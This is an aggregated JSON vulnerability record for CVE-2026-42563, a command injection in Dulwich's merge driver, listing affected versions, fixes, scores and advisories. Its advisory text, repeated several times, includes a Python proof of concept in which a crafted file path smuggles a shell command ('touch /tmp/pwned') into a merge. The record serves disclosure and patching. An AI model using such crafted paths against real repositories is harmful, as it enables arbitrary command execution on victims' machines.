{"id":"CVE-2026-42563","aliases":["CLSA-2026-1781052734","DEBIAN-CVE-2026-42563","EUVD-2026-36175","GHSA-9277-mp7x-85jf","PYSEC-2026-2464","ROOT-APP-PYPI-CVE-2026-42563","UBUNTU-CVE-2026-42563","openSUSE-SU-2026:10900-1"],"status":"published","title":"Dulwich Vulnerable to Command Injection via Merge Driver Path","description":"Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.","severity":{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00555,"percentile":0.46577,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-05-28T22:29:22Z","modified":"2026-10-28T02:31:13Z","fixes":[{"ecosystem":"PyPI","package":"dulwich","fixed_in":["1.2.5"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:PyPI","package":"dulwich","fixed_in":["0.25.2.post2+tuxcare"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"dulwich","fixed_in":["1.2.5-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"dulwich","fixed_in":["1.1.0+aikido.1","1.1.0+aikido.2","1.0.0+aikido.2","1.1.0+aikido.3","1.0.0+aikido.3","1.1.0+aikido.4","1.1.0+aikido.5","1.0.0+aikido.4"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-dulwich","fixed_in":["1.1.0+root.io.1","1.1.0+root.io.2","1.0.0+root.io.2","1.1.0+root.io.3","1.0.0+root.io.3","1.1.0+root.io.4"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.24.0"},{"fixed":"1.2.5"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.25.2"},{"fixed":"0.25.2.post2+tuxcare"}]}],"versions":["0.25.2","0.25.2.post1+tuxcare"]},{"source":"osv","ecosystem":"Debian:12","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.2-1","0.21.5-1","0.21.6-1","0.22.5-1","0.22.7-1","0.22.7-2","0.24.10-1","0.24.2-1","0.24.2-2","1.0.0-1","1.0.0-2","1.1.0-1","1.1.0-2","1.1.0-3","1.2.0-1","1.2.1-1","1.2.11-1","1.2.12-1","1.2.5-1","1.2.7-1","1.2.7-2"]},{"source":"osv","ecosystem":"Debian:13","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.22.7-1","0.22.7-2","0.24.10-1","0.24.2-1","0.24.2-2","1.0.0-1","1.0.0-2","1.1.0-1","1.1.0-2","1.1.0-3","1.2.0-1","1.2.1-1","1.2.11-1","1.2.12-1","1.2.5-1","1.2.7-1","1.2.7-2"]},{"source":"osv","ecosystem":"Debian:14","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.5-1"}]}],"versions":["0.22.7-1","0.22.7-2","0.24.10-1","0.24.2-1","0.24.2-2","1.0.0-1","1.0.0-2","1.1.0-1","1.1.0-2","1.1.0-3","1.2.0-1","1.2.1-1"]},{"source":"osv","ecosystem":"PyPI","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.24.0"},{"fixed":"1.2.5"}]}],"versions":["0.24.0","0.24.1","0.24.10","0.24.2","0.24.3","0.24.4","0.24.5","0.24.6","0.24.7","0.24.8","0.24.9","0.25.0","0.25.1","0.25.2","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4"]},{"source":"osv","ecosystem":"PyPI","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.24.0"},{"fixed":"1.2.5"}]}],"versions":["0.24.0","0.24.1","0.24.10","0.24.2","0.24.3","0.24.4","0.24.5","0.24.6","0.24.7","0.24.8","0.24.9","0.25.0","0.25.1","0.25.2","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4"]},{"source":"osv","ecosystem":"Root:PyPI","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.0+aikido.1"},{"fixed":"1.1.0+aikido.2"},{"fixed":"1.0.0+aikido.2"},{"fixed":"1.1.0+aikido.3"},{"fixed":"1.0.0+aikido.3"},{"fixed":"1.1.0+aikido.4"},{"fixed":"1.1.0+aikido.5"},{"fixed":"1.0.0+aikido.4"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.0+root.io.1"},{"fixed":"1.1.0+root.io.2"},{"fixed":"1.0.0+root.io.2"},{"fixed":"1.1.0+root.io.3"},{"fixed":"1.0.0+root.io.3"},{"fixed":"1.1.0+root.io.4"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.2-1ubuntu1","0.12.0-1","0.12.0-1build1","0.12.0-1build2"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.18.2-1build1","0.18.5-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.11-2","0.19.14-4ubuntu1","0.19.15-1","0.19.15-1build1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.20.15-1ubuntu1","0.20.31-1ubuntu1","0.20.31-1.1","0.20.31-1.1build1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.6-1","0.21.6-1build1","0.21.6-1build2"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.22.7-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.0-3","1.2.12-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.22.7-1","0.24.2-2","1.1.0-2ubuntu1","1.1.0-3"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-dulwich","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.5-1.1"}]}],"bundled":3}],"products":[{"vendor":"jelmer","product":"dulwich"}],"references":[{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42563","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9277-mp7x-85jf","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42563.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-42563","tags":["advisory"]},{"url":"https://github.com/jelmer/dulwich","tags":["package"]},{"url":"https://pypi.org/project/dulwich","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-42563","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42563","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42305","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42563","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47712","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-42563","title":"Dulwich Vulnerable to Command Injection via Merge Driver Path","description":"Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.","status":"published","published":"2026-06-10T21:47:14.927Z","modified":"2026-06-12T03:55:30.892Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T13:40:23.731501Z"}],"euvd":[{"id":"EUVD-2026-36175","description":"Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.","status":"published","published":"2026-06-10T21:47:14Z","modified":"2026-06-12T03:55:30Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:20:43.577088Z"}],"ghsa":[{"id":"GHSA-9277-mp7x-85jf","title":"Dulwich Vulnerable to Command Injection via Merge Driver Path","description":"## Summary\n\nDulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.\n\n## Description\n\n- **Type:** Command Injection\n- **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch)\n- **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder\n- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.\n\n## Resources\n\n- Repository: https://github.com/dulwich/dulwich\n- Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129)\n\n## Proof of Concept\n\n```python\nfrom dulwich.attrs import GitAttributes, Pattern\nfrom dulwich.config import ConfigDict\nfrom dulwich.merge import merge_blobs\nfrom dulwich.objects import Blob\n\n# Merge driver with %P (path) - typical for custom merge tools\nconfig = ConfigDict()\nconfig.set((b\"merge\", b\"injectable\"), b\"driver\", b\"echo %P \u003e %A\")\n\npatterns = [(Pattern(b\"*\"), {b\"merge\": b\"injectable\"})]\ngitattributes = GitAttributes(patterns)\n\nbase = Blob.from_string(b\"base\")\nours = Blob.from_string(b\"ours\")\ntheirs = Blob.from_string(b\"theirs\")\n\n# Malicious path from attacker-controlled git tree: injects \"touch /tmp/pwned\"\nmalicious_path = b\"x; touch /tmp/pwned #\"\n\nmerge_blobs(base, ours, theirs, path=malicious_path,\n            gitattributes=gitattributes, config=config)\n# =\u003e Executes: echo x; touch /tmp/pwned #\n# =\u003e Shell runs: echo x, then touch /tmp/pwned\n```\n\n## Fix\n[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)","status":"published","published":"2026-05-28T22:29:22Z","modified":"2026-06-11T14:05:17Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:40:26.12116Z"}],"nvd":[{"id":"CVE-2026-42563","description":"Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.","status":"published","published":"2026-06-10T23:16:46.413Z","modified":"2026-07-21T19:10:00.107Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:23.485267Z"}],"osv":[{"id":"CVE-2026-42563","title":"Dulwich Vulnerable to Command Injection via Merge Driver Path","description":"Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.","status":"published","published":"2026-06-10T21:47:14.927Z","modified":"2026-10-28T02:31:13.946562824Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"DEBIAN-CVE-2026-42563","description":"Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.","status":"published","published":"2026-06-10T23:16:46.413Z","modified":"2026-10-01T03:03:12.605650004Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:55.251751Z"},{"id":"GHSA-9277-mp7x-85jf","title":"Dulwich Vulnerable to Command Injection via Merge Driver Path","description":"## Summary\n\nDulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.\n\n## Description\n\n- **Type:** Command Injection\n- **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch)\n- **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder\n- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.\n\n## Resources\n\n- Repository: https://github.com/dulwich/dulwich\n- Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129)\n\n## Proof of Concept\n\n```python\nfrom dulwich.attrs import GitAttributes, Pattern\nfrom dulwich.config import ConfigDict\nfrom dulwich.merge import merge_blobs\nfrom dulwich.objects import Blob\n\n# Merge driver with %P (path) - typical for custom merge tools\nconfig = ConfigDict()\nconfig.set((b\"merge\", b\"injectable\"), b\"driver\", b\"echo %P \u003e %A\")\n\npatterns = [(Pattern(b\"*\"), {b\"merge\": b\"injectable\"})]\ngitattributes = GitAttributes(patterns)\n\nbase = Blob.from_string(b\"base\")\nours = Blob.from_string(b\"ours\")\ntheirs = Blob.from_string(b\"theirs\")\n\n# Malicious path from attacker-controlled git tree: injects \"touch /tmp/pwned\"\nmalicious_path = b\"x; touch /tmp/pwned #\"\n\nmerge_blobs(base, ours, theirs, path=malicious_path,\n            gitattributes=gitattributes, config=config)\n# =\u003e Executes: echo x; touch /tmp/pwned #\n# =\u003e Shell runs: echo x, then touch /tmp/pwned\n```\n\n## Fix\n[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)","status":"published","published":"2026-05-28T22:29:22Z","modified":"2026-09-10T03:51:05.165324181Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:43.123867Z"},{"id":"PYSEC-2026-2464","title":"Dulwich Vulnerable to Command Injection via Merge Driver Path","description":"## Summary\n\nDulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.\n\n## Description\n\n- **Type:** Command Injection\n- **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch)\n- **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder\n- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.\n\n## Resources\n\n- Repository: https://github.com/dulwich/dulwich\n- Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129)\n\n## Proof of Concept\n\n```python\nfrom dulwich.attrs import GitAttributes, Pattern\nfrom dulwich.config import ConfigDict\nfrom dulwich.merge import merge_blobs\nfrom dulwich.objects import Blob\n\n# Merge driver with %P (path) - typical for custom merge tools\nconfig = ConfigDict()\nconfig.set((b\"merge\", b\"injectable\"), b\"driver\", b\"echo %P \u003e %A\")\n\npatterns = [(Pattern(b\"*\"), {b\"merge\": b\"injectable\"})]\ngitattributes = GitAttributes(patterns)\n\nbase = Blob.from_string(b\"base\")\nours = Blob.from_string(b\"ours\")\ntheirs = Blob.from_string(b\"theirs\")\n\n# Malicious path from attacker-controlled git tree: injects \"touch /tmp/pwned\"\nmalicious_path = b\"x; touch /tmp/pwned #\"\n\nmerge_blobs(base, ours, theirs, path=malicious_path,\n            gitattributes=gitattributes, config=config)\n# =\u003e Executes: echo x; touch /tmp/pwned #\n# =\u003e Shell runs: echo x, then touch /tmp/pwned\n```\n\n## Fix\n[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)","status":"published","published":"2026-07-13T15:19:13.633568Z","modified":"2026-07-13T16:31:45.60277015Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"},{"id":"UBUNTU-CVE-2026-42563","description":"Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.","status":"published","published":"2026-06-10T23:16:00Z","modified":"2026-10-17T13:00:05.706936835Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:18.393417Z"},{"id":"CLSA-2026-1781052734","title":"TuxCare security update for dulwich (1 CVE)","description":"TuxCare rebuilt dulwich to address 1 CVE. Fixed in 0.25.2.post2+tuxcare.","status":"published","published":"2026-08-04T14:52:36Z","modified":"2026-10-15T09:48:01.189733351Z","updated_at":"2026-11-02T15:43:45.445699Z"},{"id":"openSUSE-SU-2026:10900-1","title":"python311-dulwich-1.2.5-1.1 on GA media","description":"These are all security issues fixed in the python311-dulwich-1.2.5-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-05-29T00:00:00Z","modified":"2026-05-30T23:15:07.9216998Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"ROOT-APP-PYPI-CVE-2026-42563","title":"CVE-2026-42563 in dulwich - Patched by Root","description":"Root has patched CVE-2026-42563 in the dulwich package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-08-10T11:39:57Z","modified":"2026-08-10T13:45:16.932610835Z","updated_at":"2026-11-02T15:53:28.259095Z"}]}}